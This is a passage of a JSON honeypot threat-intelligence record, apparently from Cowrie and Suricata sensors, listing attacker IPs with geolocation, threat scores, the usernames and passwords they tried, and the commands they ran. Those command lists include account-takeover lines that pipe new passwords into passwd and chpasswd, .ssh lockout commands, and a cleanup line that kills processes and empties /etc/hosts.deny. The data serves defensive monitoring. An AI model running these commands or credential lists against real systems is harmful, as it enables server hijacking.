        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:53:23.956000+00:00",
        "last_seen_30d": "2026-03-13T04:54:03.619000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 64
      }
    },
    "165.227.3.79": {
      "attack_count": 284,
      "first_seen": "2026-03-03T20:49:55.331Z",
      "last_seen": "2026-03-11T17:29:36.972Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "francisco",
        "rico",
        "atlas",
        "fastuser",
        "ftpupload",
        "in",
        "n8n",
        "qbtuser",
        "satisfactory",
        "scan",
        "vas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "12345",
        "123456a@",
        "1234qwerty",
        "1234rfv",
        "1qaz$RFV",
        "Bingo@1993",
        "Welcome@1234",
        "ZAQ123wsx",
        "atlas123",
        "hahaha",
        "inpass",
        "jimmy",
        "n8n",
        "qW123456",
        "qbtuser123!",
        "re!123345"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nLgeEAC6PRrOl\\nLgeEAC6PRrOl\\n\"|passwd",
        "echo \"rico1234\\nh7UvpoLF9m2B\\nh7UvpoLF9m2B\\n\"|passwd",
        "echo -e \"123\\nLgeEAC6PRrOl\\nLgeEAC6PRrOl\"|passwd|bash",
        "echo -e \"rico1234\\nh7UvpoLF9m2B\\nh7UvpoLF9m2B\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 353,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:49:55.331000+00:00",
        "last_seen_30d": "2026-03-11T17:30:43.625000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 284,
        "Suricata": 69
      }
    },
    "213.142.148.132": {
      "attack_count": 267,
      "first_seen": "2026-03-13T01:05:09.765Z",
      "last_seen": "2026-03-13T01:37:48.469Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "ionadmin",
        "mailtest",
        "root",
        "test_user",
        "admin",
        "beehive",
        "client",
        "shares",
        "ubuntu"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "112358",
        "1234",
        "2wsxXSW@",
        "Kuanfan@021",
        "adminadmin",
        "client1234",
        "pass123",
        "qwerty"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"password\\niTZ4r7E4hIE4\\niTZ4r7E4hIE4\\n\"|passwd",
        "echo \"password\\npaRghhzgO8Db\\npaRghhzgO8Db\\n\"|passwd",
        "echo \"password\\nym96pRCr9UV0\\nym96pRCr9UV0\\n\"|passwd",
        "echo -e \"password\\niTZ4r7E4hIE4\\niTZ4r7E4hIE4\"|passwd|bash",
        "echo -e \"password\\npaRghhzgO8Db\\npaRghhzgO8Db\"|passwd|bash",
        "echo -e \"password\\nym96pRCr9UV0\\nym96pRCr9UV0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 212219,
      "as_org": "Hosting Dunyam Bilisim Teknolojileri Ticaret Limited Sirketi",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T01:05:09.765000+00:00",
        "last_seen_30d": "2026-03-13T01:38:49.299000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 39
      }
    },
    "103.153.73.89": {
      "attack_count": 262,
      "first_seen": "2026-03-10T20:40:40.027Z",
      "last_seen": "2026-03-10T21:03:56.823Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "mailuser",
        "student2",
        "allen",
        "jhpark",
        "linux",
        "root",
        "rstudio",
        "sit",
        "teamcity",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "Allen123!",
        "Lx123456",
        "jhparkpass",
        "linux",
        "password",
        "rstudio123!",
        "student2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nWq8BaVGXh5B1\\nWq8BaVGXh5B1\\n\"|passwd",
        "echo \"123\\nb5iGop3KaZ4S\\nb5iGop3KaZ4S\\n\"|passwd",
        "echo \"student2\\nLD4Hjy7XocO7\\nLD4Hjy7XocO7\\n\"|passwd",
        "echo -e \"123\\nWq8BaVGXh5B1\\nWq8BaVGXh5B1\"|passwd|bash",
        "echo -e \"123\\nb5iGop3KaZ4S\\nb5iGop3KaZ4S\"|passwd|bash",
        "echo -e \"student2\\nLD4Hjy7XocO7\\nLD4Hjy7XocO7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:40:40.027000+00:00",
        "last_seen_30d": "2026-03-10T21:05:00.852000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "203.210.134.2": {
      "attack_count": 247,
      "first_seen": "2026-03-12T10:46:08.127Z",
      "last_seen": "2026-03-12T11:12:58.921Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "home",
        "node",
        "ems",
        "leon",
        "max",
        "n8n",
        "sd",
        "shiyi",
        "xx"
      ],
      "passwords_attempted": [
        "123456",
        "345gs5662d34",
        "3245gs5662d34",
        "1234",
        "12345",
        "changeme",
        "home123!",
        "n8n",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nF9tvSeCpjvaS\\nF9tvSeCpjvaS\\n\"|passwd",
        "echo \"home123!\\nxbX9iq7Mf4g2\\nxbX9iq7Mf4g2\\n\"|passwd",
        "echo \"n8n\\nWCvYjyNFwrdd\\nWCvYjyNFwrdd\\n\"|passwd",
        "echo -e \"123456\\nF9tvSeCpjvaS\\nF9tvSeCpjvaS\"|passwd|bash",
        "echo -e \"home123!\\nxbX9iq7Mf4g2\\nxbX9iq7Mf4g2\"|passwd|bash",
        "echo -e \"n8n\\nWCvYjyNFwrdd\\nWCvYjyNFwrdd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 280,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T10:46:08.127000+00:00",
        "last_seen_30d": "2026-03-12T11:13:59.395000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 33
      }
    },
    "43.157.151.226": {
      "attack_count": 236,
      "first_seen": "2026-03-10T15:18:36.548Z",
      "last_seen": "2026-03-20T04:10:47.174Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "otrs",
        "user",
        "administrator",
        "business",
        "canal",
        "cc",
        "friend",
        "jino",
        "joao",
        "john",
        "kyle",
        "socks",
        "test",
        "vm",
        "vpnadmin",
        "web_admin",
        "zhangsan",
        "zxy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345",
        "123456",
        "Canal123",
        "Joao123!",
        "User123!",
        "Web_admin123",
        "business123!",
        "cc1234",
        "friend1234",
        "gabsikee06",
        "john1234",
        "kyle1234",
        "password",
        "test123",
        "vpnadmin",
        "zhangsan123!",
        "zxy123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"User123!\\nzrngY7a2x4ec\\nzrngY7a2x4ec\\n\"|passwd",
        "echo \"password\\nlDlPoNr4zVqW\\nlDlPoNr4zVqW\\n\"|passwd",
        "echo -e \"User123!\\nzrngY7a2x4ec\\nzrngY7a2x4ec\"|passwd|bash",
        "echo -e \"password\\nlDlPoNr4zVqW\\nlDlPoNr4zVqW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T15:18:36.548000+00:00",
        "last_seen_30d": "2026-03-20T04:11:51.706000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 56
      }
    },
    "118.26.36.241": {
      "attack_count": 191,
      "first_seen": "2026-03-11T03:31:23.395Z",
      "last_seen": "2026-03-11T03:54:29.312Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "asterix",
        "certftp",
        "dev1",
        "escaner",
        "nuc",
        "nuxeo",
        "shyam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Abc123@@",
        "Nuc123",
        "Nuxeo123",
        "Shyam123!",
        "Zxc123456",
        "certftp123",
        "dev1",
        "escaner123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\njBzyqr6fTjmw\\njBzyqr6fTjmw\\n\"|passwd",
        "echo \"root:u4RYPR3gCJtW\"|chpasswd|bash",
        "echo -e \"123\\njBzyqr6fTjmw\\njBzyqr6fTjmw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:31:23.395000+00:00",
        "last_seen_30d": "2026-03-11T03:55:34.043000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 35
      }
    },
    "24.249.245.61": {
      "attack_count": 168,
      "first_seen": "2026-03-31T15:11:19.531Z",
      "last_seen": "2026-03-31T16:15:46.765Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456qq@",
        "1234Abcd",
        "123qweasdzxc!@#",
        "147258369a",
        "182838",
        "1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "B5m@998Rc*#C",
        "Cd123456!",
        "Hyjj!@#$%123",
        "PASSW0RD2024",
        "Root!12345",
        "Server01",
        "Zaq123456",
        "eleven11",
        "fang123456",
        "idcji.com",
        "mojo",
        "suna"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:isjrHz7mB33Q\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Rancho Santa Margarita",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:11:19.531000+00:00",
        "last_seen_30d": "2026-03-31T16:16:56.009000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "46.101.122.220": {
      "attack_count": 168,
      "first_seen": "2026-03-28T12:51:10.938Z",
      "last_seen": "2026-03-28T14:30:39.865Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0202637465",
        "10sne1",
        "123123a",
        "1qazxsw23edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Pi123321",
        "Qazwsx12",
        "Strike2024",
        "abcdefg12345",
        "jose123",
        "marcello",
        "new@2024",
        "p@55word!@#",
        "potato",
        "qazwsx123456",
        "rooty",
        "sumit@123",
        "ubuntu@1234",
        "wohenaini"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:nbn6qnG3XSmR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:51:10.938000+00:00",
        "last_seen_30d": "2026-03-28T14:31:45.596000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 62
      }
    },
    "157.20.253.58": {
      "attack_count": 163,
      "first_seen": "2026-03-26T10:12:55.819Z",
      "last_seen": "2026-03-26T10:25:20.869Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "drush",
        "supersets",
        "admin",
        "obfuscator",
        "pro"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "admin1234",
        "drush",
        "obfuscator123",
        "pro",
        "supersets"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"drush\\nxXthZzCpp1yP\\nxXthZzCpp1yP\\n\"|passwd",
        "echo \"supersets\\npelFT3GC3Qq7\\npelFT3GC3Qq7\\n\"|passwd",
        "echo -e \"drush\\nxXthZzCpp1yP\\nxXthZzCpp1yP\"|passwd|bash",
        "echo -e \"supersets\\npelFT3GC3Qq7\\npelFT3GC3Qq7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 138089,
      "as_org": "PT.Global Media Data Prima",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:12:55.819000+00:00",
        "last_seen_30d": "2026-03-26T10:26:27.284000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 21
      }
    },
    "159.65.94.116": {
      "attack_count": 155,
      "first_seen": "2026-03-02T03:20:12.114Z",
      "last_seen": "2026-03-02T03:49:56.272Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "backup",
        "daemon"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "P@ssw0rd123",
        "abc123",
        "admin123",
        "letmein",
        "password",
        "password1",
        "root123",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:20:08.462000+00:00",
        "last_seen_30d": "2026-03-02T03:51:01.729000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 155,
        "Suricata": 67
      }
    },
    "183.82.126.193": {
      "attack_count": 144,
      "first_seen": "2026-03-20T01:12:41.452Z",
      "last_seen": "2026-03-20T01:42:04.971Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "leandro",
        "345gs5662d34",
        "ahmad",
        "batman",
        "cisco",
        "compras",
        "dima",
        "discord",
        "felix",
        "janice",
        "jenkins",
        "lawrence",
        "openbravo",
        "root",
        "root01",
        "simon"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Ahmad",
        "batmanbatman",
        "dimapassword",
        "discord@123",
        "janice",
        "lawrence",
        "leandroleandro",
        "q1w2e3r4Q!W@E#R$",
        "root01@123",
        "simon"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"leandroleandro\\nswrw027iqVrb\\nswrw027iqVrb\\n\"|passwd",
        "echo -e \"leandroleandro\\nswrw027iqVrb\\nswrw027iqVrb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 18209,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T01:12:41.452000+00:00",
        "last_seen_30d": "2026-03-20T01:43:11.427000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "103.6.238.67": {
      "attack_count": 143,
      "first_seen": "2026-03-23T19:51:45.027Z",
      "last_seen": "2026-03-23T20:19:11.248Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alfred",
        "asterisk",
        "blog",
        "cristina",
        "dbadmin",
        "ela",
        "flw",
        "guest",
        "ir",
        "nicola",
        "samba"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "123",
        "12345",
        "1234567890",
        "3245gs5662d34",
